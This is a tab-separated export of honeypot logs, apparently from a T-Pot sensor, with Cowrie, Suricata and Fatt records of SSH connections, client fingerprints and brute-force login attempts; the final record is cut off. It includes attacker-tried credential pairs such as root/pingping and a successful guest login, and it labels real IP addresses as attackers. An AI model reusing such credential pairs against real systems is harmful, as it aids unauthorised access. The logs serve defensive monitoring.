31933	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:48:27.637115+03	2021-09-20 15:00:02.812716+03	{"_id": "VgYJA3wBvYTbRNuENkeq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8d07e70f0b07", "@version": "1", "duration": 2.2178690433502197, "timestamp": "2021-09-20T11:48:27.637115Z", "@timestamp": "2021-09-20T11:48:27.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31934	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:48:27.716362+03	2021-09-20 15:00:02.813719+03	{"_id": "VwYJA3wBvYTbRNuENkeq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9832363caa9f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:27.716362Z", "@timestamp": "2021-09-20T11:48:27.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31935	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:48:18.181735+03	2021-09-20 15:00:02.814719+03	{"_id": "FwYJA3wBvYTbRNuEE0d6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "a2b076b7fecc", "@version": "1", "duration": 180.29613590240479, "timestamp": "2021-09-20T11:48:18.181735Z", "@timestamp": "2021-09-20T11:48:18.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31936	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:48:21.119548+03	2021-09-20 15:00:02.815717+03	{"_id": "GQYJA3wBvYTbRNuEHEfa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1056295482595667, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56124, "dest_port": 22, "timestamp": "2021-09-20T11:48:21.119548Z", "@timestamp": "2021-09-20T11:48:21.119Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31937	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:21.122313+03	2021-09-20 15:00:02.817716+03	{"_id": "GgYJA3wBvYTbRNuEHUfg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56124, "timestamp": "2021-09-20T11:48:21.122313", "@timestamp": "2021-09-20T11:48:21.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31939	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:48:21.569809+03	2021-09-20 15:00:02.819716+03	{"_id": "KwYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2aca991029e3", "@version": "1", "timestamp": "2021-09-20T11:48:21.569809Z", "@timestamp": "2021-09-20T11:48:21.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31940	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:48:20.939797+03	2021-09-20 15:00:02.821717+03	{"_id": "KAYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:56124 (192.168.176.2:22) [session: 3e846f2ca41e]", "session": "3e846f2ca41e", "@version": "1", "protocol": "ssh", "src_port": 56124, "dest_port": 22, "timestamp": "2021-09-20T11:48:20.939797Z", "@timestamp": "2021-09-20T11:48:20.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31941	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:48:21.515141+03	2021-09-20 15:00:02.822716+03	{"_id": "KgYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2aca991029e3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:21.515141Z", "@timestamp": "2021-09-20T11:48:21.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31942	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:48:21.569202+03	2021-09-20 15:00:02.824716+03	{"_id": "LAYJA3wBvYTbRNuEIEfD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 1761063108737335, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52738, "dest_port": 22, "timestamp": "2021-09-20T11:48:21.569202Z", "@timestamp": "2021-09-20T11:48:21.569Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31943	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:21.517273+03	2021-09-20 15:00:02.825717+03	{"_id": "LQYJA3wBvYTbRNuEIUfI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52738, "timestamp": "2021-09-20T11:48:21.517273", "@timestamp": "2021-09-20T11:48:21.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31945	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:48:21.298861+03	2021-09-20 15:00:02.827716+03	{"_id": "GwYJA3wBvYTbRNuEHUfg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 56124, "dest_port": 22, "timestamp": "2021-09-20T11:48:21.298861", "@timestamp": "2021-09-20T11:48:21.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31946	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:48:21.119831+03	2021-09-20 15:00:02.829717+03	{"_id": "JgYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "3e846f2ca41e", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:48:21.119831Z", "@timestamp": "2021-09-20T11:48:21.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31947	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:48:21.299532+03	2021-09-20 15:00:02.830716+03	{"_id": "KQYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "3e846f2ca41e", "@version": "1", "timestamp": "2021-09-20T11:48:21.299532Z", "@timestamp": "2021-09-20T11:48:21.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31948	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:48:21.569277+03	2021-09-20 15:00:02.831716+03	{"_id": "LgYJA3wBvYTbRNuEIUfI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52738, "dest_port": 22, "timestamp": "2021-09-20T11:48:21.569277", "@timestamp": "2021-09-20T11:48:21.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31949	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:48:22.003197+03	2021-09-20 15:00:02.833716+03	{"_id": "LwYJA3wBvYTbRNuEI0cd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [root/pingping] failed", "session": "2aca991029e3", "@version": "1", "password": "pingping", "username": "root", "timestamp": "2021-09-20T11:48:22.003197Z", "@timestamp": "2021-09-20T11:48:22.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31950	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:13.37138+03	2021-09-20 15:00:02.834717+03	{"_id": "DwYIA3wBvYTbRNuE_0fw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.success", "message": "login attempt [guest/!@#$%^] succeeded", "session": "788fab6685a6", "@version": "1", "password": "!@#$%^", "username": "guest", "timestamp": "2021-09-20T11:48:13.371380Z", "@timestamp": "2021-09-20T11:48:13.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
31951	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:13.715503+03	2021-09-20 15:00:02.835717+03	{"_id": "EAYIA3wBvYTbRNuE_0fw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f5e89efba061", "@version": "1", "timestamp": "2021-09-20T11:48:13.715503Z", "@timestamp": "2021-09-20T11:48:13.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 